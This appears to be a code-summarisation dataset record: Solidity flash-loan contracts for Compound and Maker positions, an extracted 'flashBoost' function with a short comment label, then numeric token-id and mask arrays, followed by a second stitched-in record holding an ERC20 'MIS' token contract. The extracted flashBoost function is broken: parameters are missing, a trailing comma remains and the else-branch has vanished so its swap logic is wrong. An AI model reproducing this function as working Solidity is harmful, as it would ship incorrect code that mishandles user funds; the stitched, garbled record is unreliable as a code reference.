address payable proxyAddr ) = abi.decode(_params, (bytes,address[2],uint256,bool,address)); ExchangeData memory _exData = unpackExchangeData(exDataBytes); uint[2] memory flashLoanData = [_amount, _fee]; if (isRepay) { proxyData = abi.encodeWithSignature("flashRepay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } else { proxyData = abi.encodeWithSignature("flashBoost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } return (proxyData, proxyAddr); } /// @notice Send the FL funds received to DSProxy /// @param _proxy DSProxy address /// @param _reserve Token address /// @param _amount Amount of tokens function sendLoanToProxy(address payable _proxy, address _reserve, uint _amount) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, _amount); } _proxy.transfer(address(this).balance); } receive() external override(SaverExchangeCore, FlashLoanReceiverBase) payable {} } contract CompoundSaverFlashProxy is SaverExchangeCore, CompoundSaverHelper { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; using SafeERC20 for ERC20; /// @notice Repays the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for transaction /// @param _flashLoanData Data about FL [amount, fee] function flashRepay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); // draw max coll require(CTokenInterface(_cAddresses[0]).redeemUnderlying(maxColl) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // swap max coll + loanAmount (,swapAmount) = _sell(_exData); // get fee swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]); } else { swapAmount = (maxColl + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // payback debt paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // draw collateral for loanAmount + loanFee require(CTokenInterface(_cAddresses[0]).redeemUnderlying(flashBorrowed) == 0); // repay flash loan returnFlashLoan(collToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Boosts the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction /// @param _flashLoanData Data about FL [amount, fee] function flashBoost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; // borrow max amount uint borrowAmount = getMaxBorrow(_cAddresses[1], address(this)); require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // get dfs fee borrowAmount -= getFee((borrowAmount + _flashLoanData[0]), user, _gasCost, _cAddresses[1]); _exData.srcAmount = borrowAmount; (,swapAmount) = _sell(_exData); } else { swapAmount = (borrowAmount + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // deposit swaped collateral depositCollateral(collToken, _cAddresses[0], swapAmount); // borrow token to repay flash loan require(CTokenInterface(_cAddresses[1]).borrow(flashBorrowed) == 0); // repay flash loan returnFlashLoan(borrowToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Helper method to deposit tokens in Compound /// @param _collToken Token address of the collateral /// @param _cCollToken CToken address of the collateral /// @param _depositAmount Amount to deposit function depositCollateral(address _collToken, address _cCollToken, uint _depositAmount) internal { approveCToken(_collToken, _cCollToken); if (_collToken != ETH_ADDRESS) { require(CTokenInterface(_cCollToken).mint(_depositAmount) == 0); } else { CEtherInterface(_cCollToken).mint{value: _depositAmount}(); // reverts on fail } } /// @notice Returns the tokens/ether to the msg.sender which is the FL contract /// @param _tokenAddr Address of token which we return /// @param _amount Amount to return function returnFlashLoan(address _tokenAddr, uint _amount) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeTransfer(msg.sender, _amount); } msg.sender.transfer(address(this).balance); } } contract CompoundSaverProxy is CompoundSaverHelper, SaverExchangeCore { DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Withdraws collateral, converts to borrowed token and repays debt /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function repay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); uint collAmount = (_exData.srcAmount > maxColl) ? maxColl : _exData.srcAmount; require(CTokenInterface(_cAddresses[0]).redeemUnderlying(collAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { (, swapAmount) = _sell(_exData); swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]); } else { swapAmount = collAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CompoundRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Borrows token, converts to collateral, and adds to position /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function boost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); uint borrowAmount = (_exData.srcAmount > maxBorrow) ? maxBorrow : _exData.srcAmount; require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { borrowAmount -= getFee(borrowAmount, user, _gasCost, _cAddresses[1]); _exData.srcAmount = borrowAmount; (,swapAmount) = _sell(_exData); } else { swapAmount = borrowAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } approveCToken(collToken, _cAddresses[0]); if (collToken != ETH_ADDRESS) { require(CTokenInterface(_cAddresses[0]).mint(swapAmount) == 0); } else { CEtherInterface(_cAddresses[0]).mint{value: swapAmount}(); // reverts on fail } // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } } contract SaverExchange is SaverExchangeCore, AdminAuth, GasBurner { using SafeERC20 for ERC20; uint256 public constant SERVICE_FEE = 800; // 0.125% Fee // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); uint public burnAmount = 10; /// @notice Takes a src amount of tokens and converts it into the dest token /// @dev Takes fee from the _srcAmount before the exchange /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function sell(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount) { // take fee uint dfsFee = getFee(exData.srcAmount, exData.srcAddr); exData.srcAmount = sub(exData.srcAmount, dfsFee); // Perform the exchange (address wrapper, uint destAmount) = _sell(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeSell", abi.encode(wrapper, exData.srcAddr, exData.destAddr, exData.srcAmount, destAmount)); } /// @notice Takes a dest amount of tokens and converts it from the src token /// @dev Send always more than needed for the swap, extra will be returned /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function buy(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount){ uint dfsFee = getFee(exData.srcAmount, exData.srcAddr); exData.srcAmount = sub(exData.srcAmount, dfsFee); // Perform the exchange (address wrapper, uint srcAmount) = _buy(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeBuy", abi.encode(wrapper, exData.srcAddr, exData.destAddr, srcAmount, exData.destAmount)); } /// @notice Takes a feePercentage and sends it to wallet /// @param _amount Dai amount of the whole trade /// @param _token Address of the token /// @return feeAmount Amount in Dai owner earned on the fee function getFee(uint256 _amount, address _token) internal returns (uint256 feeAmount) { uint256 fee = SERVICE_FEE; if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(msg.sender)) { fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(msg.sender); } if (fee == 0) { feeAmount = 0; } else { feeAmount = _amount / fee; if (_token == KYBER_ETH_ADDRESS) { WALLET_ID.transfer(feeAmount); } else { ERC20(_token).safeTransfer(WALLET_ID, feeAmount); } } } /// @notice Changes the amount of gas token we burn for each call /// @dev Only callable by the owner /// @param _newBurnAmount New amount of gas tokens to be burned function changeBurnAmount(uint _newBurnAmount) public { require(owner == msg.sender); burnAmount = _newBurnAmount; } } contract MCDSaverFlashLoan is MCDSaverProxy, AdminAuth, FlashLoanReceiverBase { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} struct SaverData { uint cdpId; uint gasCost; uint loanAmount; uint fee; address joinAddr; } function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { //check the contract has the specified balance require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance for the contract"); ( bytes memory exDataBytes, uint cdpId, uint gasCost, address joinAddr, bool isRepay ) = abi.decode(_params, (bytes,uint256,uint256,address,bool)); ExchangeData memory exchangeData = unpackExchangeData(exDataBytes); SaverData memory saverData = SaverData({ cdpId: cdpId, gasCost: gasCost, loanAmount: _amount, fee: _fee, joinAddr: joinAddr }); if (isRepay) { repayWithLoan(exchangeData, saverData); } else { boostWithLoan(exchangeData, saverData); } transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function boostWithLoan( ExchangeData memory _exchangeData, SaverData memory _saverData ) internal { address user = getOwner(manager, _saverData.cdpId); // Draw users Dai uint maxDebt = getMaxDebt(_saverData.cdpId, manager.ilks(_saverData.cdpId)); uint daiDrawn = drawDai(_saverData.cdpId, manager.ilks(_saverData.cdpId), maxDebt); // Calc. fees uint dsfFee = getFee((daiDrawn + _saverData.loanAmount), _saverData.gasCost, user); uint afterFee = (daiDrawn + _saverData.loanAmount) - dsfFee; // Swap _exchangeData.srcAmount = afterFee; (, uint swapedAmount) = _sell(_exchangeData); // Return collateral addCollateral(_saverData.cdpId, _saverData.joinAddr, swapedAmount); // Draw Dai to repay the flash loan drawDai(_saverData.cdpId, manager.ilks(_saverData.cdpId), (_saverData.loanAmount + _saverData.fee)); logger.Log(address(this), msg.sender, "MCDFlashBoost", abi.encode(_saverData.cdpId, owner, _exchangeData.srcAmount, swapedAmount)); } function repayWithLoan( ExchangeData memory _exchangeData, SaverData memory _saverData ) internal { address user = getOwner(manager, _saverData.cdpId); bytes32 ilk = manager.ilks(_saverData.cdpId); // Draw collateral uint maxColl = getMaxCollateral(_saverData.cdpId, ilk, _saverData.joinAddr); uint collDrawn = drawCollateral(_saverData.cdpId, _saverData.joinAddr, maxColl); // Swap _exchangeData.srcAmount = (_saverData.loanAmount + collDrawn); (, uint swapedAmount) = _sell(_exchangeData); uint paybackAmount = (swapedAmount - getFee(swapedAmount, _saverData.gasCost, user)); paybackAmount = limitLoanAmount(_saverData.cdpId, ilk, paybackAmount, user); // Payback the debt paybackDebt(_saverData.cdpId, ilk, paybackAmount, user); // Draw collateral to repay the flash loan drawCollateral(_saverData.cdpId, _saverData.joinAddr, (_saverData.loanAmount + _saverData.fee)); logger.Log(address(this), msg.sender, "MCDFlashRepay", abi.encode(_saverData.cdpId, owner, _exchangeData.srcAmount, swapedAmount)); } /// @notice Handles that the amount is not bigger than cdp debt and not dust function limitLoanAmount(uint _cdpId, bytes32 _ilk, uint _paybackAmount, address _owner) internal returns (uint256) { uint debt = getAllDebt(address(vat), manager.urns(_cdpId), manager.urns(_cdpId), _ilk); if (_paybackAmount > debt) { ERC20(DAI_ADDRESS).transfer(_owner, (_paybackAmount - debt)); return debt; } uint debtLeft = debt - _paybackAmount; (,,,, uint dust) = vat.ilks(_ilk); dust = dust / 10**27; // Less than dust value if (debtLeft < dust) { uint amountOverDust = (dust - debtLeft); ERC20(DAI_ADDRESS).transfer(_owner, amountOverDust); return (_paybackAmount - amountOverDust); } return _paybackAmount; } receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {} } contract CompoundFlashLoanTaker is CompoundSaverProxy, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant COMPOUND_SAVER_FLASH_LOAN = 0xBD3140131dEd4426694257411d564791Cc36D382; /// @notice Repays the position with it's own fund or with FL if needed /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function repayWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(25) { uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); if (_exData.srcAmount <= maxColl) { repay(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxColl); bytes memory encoded = packExchangeData(_exData); bytes memory paramsData = abi.encode(encoded, _cAddresses, _gasCost, true, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[0]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CompoundFlashRepay", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[0])); } } /// @notice Boosts the position with it's own fund or with FL if needed /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function boostWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(20) { uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); if (_exData.srcAmount <= maxBorrow) { boost(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxBorrow); bytes memory paramsData = abi.encode(packExchangeData(_exData), _cAddresses, _gasCost, false, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[1]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CompoundFlashBoost", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[1])); } } }
borrow max amount get dfs fee
function flashBoost( ExchangeData memory _exData, uint256 _gasCost, ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; uint borrowAmount = getMaxBorrow(_cAddresses[1], address(this)); require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { borrowAmount -= getFee((borrowAmount + _flashLoanData[0]), user, _gasCost, _cAddresses[1]); _exData.srcAmount = borrowAmount; (,swapAmount) = _sell(_exData); swapAmount = (borrowAmount + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } depositCollateral(collToken, _cAddresses[0], swapAmount); require(CTokenInterface(_cAddresses[1]).borrow(flashBorrowed) == 0); returnFlashLoan(borrowToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); }
7,432,700
[ 1, 70, 15318, 943, 3844, 336, 13868, 14036, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9563, 26653, 12, 203, 203, 3639, 18903, 751, 3778, 389, 338, 751, 16, 203, 203, 203, 3639, 2254, 5034, 389, 31604, 8018, 16, 203, 203, 203, 565, 262, 1071, 8843, 429, 288, 203, 203, 3639, 6103, 3882, 278, 24899, 71, 7148, 63, 20, 6487, 389, 71, 7148, 63, 21, 19226, 203, 203, 203, 203, 3639, 1758, 8843, 429, 729, 273, 8843, 429, 12, 588, 1299, 1887, 10663, 203, 203, 3639, 2254, 9563, 38, 15318, 329, 273, 389, 13440, 1504, 304, 751, 63, 20, 65, 397, 389, 13440, 1504, 304, 751, 63, 21, 15533, 203, 203, 203, 203, 203, 3639, 2254, 29759, 6275, 273, 7288, 38, 15318, 24899, 71, 7148, 63, 21, 6487, 1758, 12, 2211, 10019, 203, 203, 3639, 2583, 12, 1268, 969, 1358, 24899, 71, 7148, 63, 21, 65, 2934, 70, 15318, 12, 70, 15318, 6275, 13, 422, 374, 1769, 203, 203, 203, 203, 3639, 1758, 4508, 1345, 273, 10833, 765, 6291, 3178, 24899, 71, 7148, 63, 20, 19226, 203, 203, 3639, 1758, 29759, 1345, 273, 10833, 765, 6291, 3178, 24899, 71, 7148, 63, 21, 19226, 203, 203, 203, 203, 3639, 2254, 7720, 6275, 273, 374, 31, 203, 203, 203, 203, 3639, 309, 261, 12910, 1345, 480, 29759, 1345, 13, 288, 203, 203, 203, 5411, 29759, 6275, 3947, 2812, 1340, 12443, 70, 15318, 6275, 397, 389, 13440, 1504, 304, 751, 63, 20, 65, 3631, 729, 16, 389, 31604, 8018, 16, 389, 71, 7148, 63, 21, 19226, 203, 203, 5411, 389, 338, 751, 18, 4816, 6275, 273, 29759, 6275, 31, 203, 203, 2 ]
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // &#39;MIS&#39; &#39;SIM Network&#39; // // Symbol : MIS // Name : SIM Network // Total supply: 50,000,000,000.000000000000000000 // Decimals : 18 // // The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract MIS is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function MIS() public { symbol = "MIS"; name = "SIM Network"; decimals = 18; _totalSupply = 50000000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner&#39;s account to `to` account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and an initial fixed supply ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
contract MIS is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function MIS() public { symbol = "MIS"; name = "SIM Network"; decimals = 18; _totalSupply = 50000000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
10,934,111
[ 1, 5802, 7620, 4232, 39, 3462, 3155, 16, 598, 326, 2719, 434, 3273, 16, 508, 471, 15105, 471, 392, 2172, 5499, 14467, 8879, 13849, 8879, 17082, 11417, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
